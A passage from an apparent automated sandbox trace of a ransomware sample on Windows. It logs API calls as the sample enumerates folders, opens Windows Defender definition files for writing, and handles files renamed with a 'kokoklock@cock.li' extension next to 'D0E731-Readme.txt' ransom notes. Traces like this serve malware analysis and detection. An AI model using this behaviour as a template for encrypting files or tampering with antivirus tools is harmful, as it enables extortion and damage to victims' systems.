_Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\" [0176.296] wcscat (in: _Dest=0x2fc2f98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" [0176.296] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\N9niCZFyd 5h8GAXUn0\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\videos\\sow tdwhgpvpo4a\\ombncbk9fh55xhnglg\\n9niczfyd 5h8gaxun0\\d0e731-readme.txt")) returned 0x20 [0176.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2f98) returned 1 [0176.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cd50) returned 1 [0176.297] RtlExitUserThread (Status=0x1) Thread: id = 2458 os_tid = 0xec8 [0176.298] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm")) returned 0x20 [0176.300] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm", dwFileAttributes=0x20) returned 0 [0176.300] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.301] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm", dwFileAttributes=0x20) returned 0 [0176.301] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83e68) returned 1 [0176.301] RtlExitUserThread (Status=0x0) Thread: id = 2459 os_tid = 0xecc [0176.302] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm")) returned 0x20 [0176.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm", dwFileAttributes=0x20) returned 0 [0176.302] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpasdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.302] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsDlta.vdm", dwFileAttributes=0x20) returned 0 [0176.302] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83f20) returned 1 [0176.302] RtlExitUserThread (Status=0x0) Thread: id = 2460 os_tid = 0xed0 [0176.303] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm")) returned 0x20 [0176.303] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm", dwFileAttributes=0x20) returned 0 [0176.303] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.304] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvBase.vdm", dwFileAttributes=0x20) returned 0 [0176.304] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84200) returned 1 [0176.304] RtlExitUserThread (Status=0x0) Thread: id = 2461 os_tid = 0xed4 [0176.305] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm")) returned 0x20 [0176.305] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm", dwFileAttributes=0x20) returned 0 [0176.305] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\mpavdlta.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.305] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAvDlta.vdm", dwFileAttributes=0x20) returned 0 [0176.305] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84090) returned 1 [0176.305] RtlExitUserThread (Status=0x0) Thread: id = 2462 os_tid = 0xed8 [0176.306] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm")) returned 0x20 [0176.307] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm", dwFileAttributes=0x20) returned 0 [0176.307] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisbase.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.307] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisBase.vdm", dwFileAttributes=0x20) returned 0 [0176.307] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f842b8) returned 1 [0176.308] RtlExitUserThread (Status=0x0) Thread: id = 2463 os_tid = 0xedc [0176.308] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm")) returned 0x20 [0176.309] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm", dwFileAttributes=0x20) returned 0 [0176.309] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates\\default\\nisfull.vdm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.309] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\NisFull.vdm", dwFileAttributes=0x20) returned 0 [0176.309] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f84370) returned 1 [0176.309] RtlExitUserThread (Status=0x0) Thread: id = 2464 os_tid = 0xee0 [0176.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa79f0 [0176.310] wcscpy (in: _Dest=0x2fa79f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0176.310] wcscat (in: _Dest=0x2fa79f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" [0176.310] wcscat (in: _Dest=0x2fa79f0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*" [0176.310] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020a40 [0176.310] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\*", lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c999f21, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c999f21, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80520 [0176.310] wcscmp (_String1=".", _String2=".") returned 0 [0176.310] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8c999f21, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c999f21, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.311] wcscmp (_String1="..", _String2=".") returned 1 [0176.311] wcscmp (_String1="..", _String2="..") returned 0 [0176.311] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e3557c, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e3557c, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8c999f21, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x7de, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.311] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.311] wcscmp (_String1="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.311] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe1518 [0176.311] wcscpy (in: _Dest=0x2fe1518, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime" [0176.311] wcscat (in: _Dest=0x2fe1518, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\" [0176.311] wcscat (in: _Dest=0x2fe1518, _Source="0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0176.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0176.727] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9b9d8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c9b9d8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c9b9d8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.727] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.728] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.728] FindNextFileW (in: hFindFile=0x2f80520, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c9b9d8f, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8c9b9d8f, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c9b9d8f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.728] FindClose (in: hFindFile=0x2f80520 | out: hFindFile=0x2f80520) returned 1 [0176.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020a40) returned 1 [0176.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa79f0) returned 1 [0176.728] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7540) returned 1 [0176.728] RtlExitUserThread (Status=0x0) Thread: id = 2465 os_tid = 0xee8 [0176.311] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.311] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.312] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0176.312] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.312] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305c7d8) returned 1 [0176.312] RtlExitUserThread (Status=0x0) Thread: id = 2466 os_tid = 0xeec [0176.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc0) returned 0x2fa7b80 [0176.313] wcscpy (in: _Dest=0x2fa7b80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0176.313] wcscat (in: _Dest=0x2fa7b80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0176.313] wcscat (in: _Dest=0x2fa7b80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*" [0176.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0176.313] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca9ebbd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca9ebbd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80560 [0176.313] wcscmp (_String1=".", _String2=".") returned 0 [0176.313] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d139154, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8ca9ebbd, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca9ebbd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.313] wcscmp (_String1="..", _String2=".") returned 1 [0176.313] wcscmp (_String1="..", _String2="..") returned 0 [0176.313] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e6fcbc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e6fcbc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ca52462, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.313] wcscmp (_String1="0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.313] wcscmp (_String1="0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.313] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2fa0c60 [0176.313] wcscpy (in: _Dest=0x2fa0c60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0176.314] wcscat (in: _Dest=0x2fa0c60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0176.314] wcscat (in: _Dest=0x2fa0c60, _Source="0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" [0176.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0176.721] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53e95f21, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53e95f21, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8ca9ebbd, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0176.721] wcscmp (_String1="1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0176.721] wcscmp (_String1="1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0176.721] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x132) returned 0x2f99598 [0176.721] wcscpy (in: _Dest=0x2f99598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime" [0176.721] wcscat (in: _Dest=0x2f99598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\" [0176.721] wcscat (in: _Dest=0x2f99598, _Source="1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.mailto[kokoklock@cock.li].d0e731" [0176.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x63c [0176.722] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca789bb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ca789bb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca789bb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0176.722] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0176.722] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0176.722] FindNextFileW (in: hFindFile=0x2f80560, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca789bb, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8ca789bb, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8ca789bb, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 0 [0176.722] FindClose (in: hFindFile=0x2f80560 | out: hFindFile=0x2f80560) returned 1 [0176.726] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0176.726] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7b80) returned 1 [0176.726] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa7478) returned 1 [0176.726] RtlExitUserThread (Status=0x0) Thread: id = 2467 os_tid = 0xef0 [0176.314] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.314] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.314] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 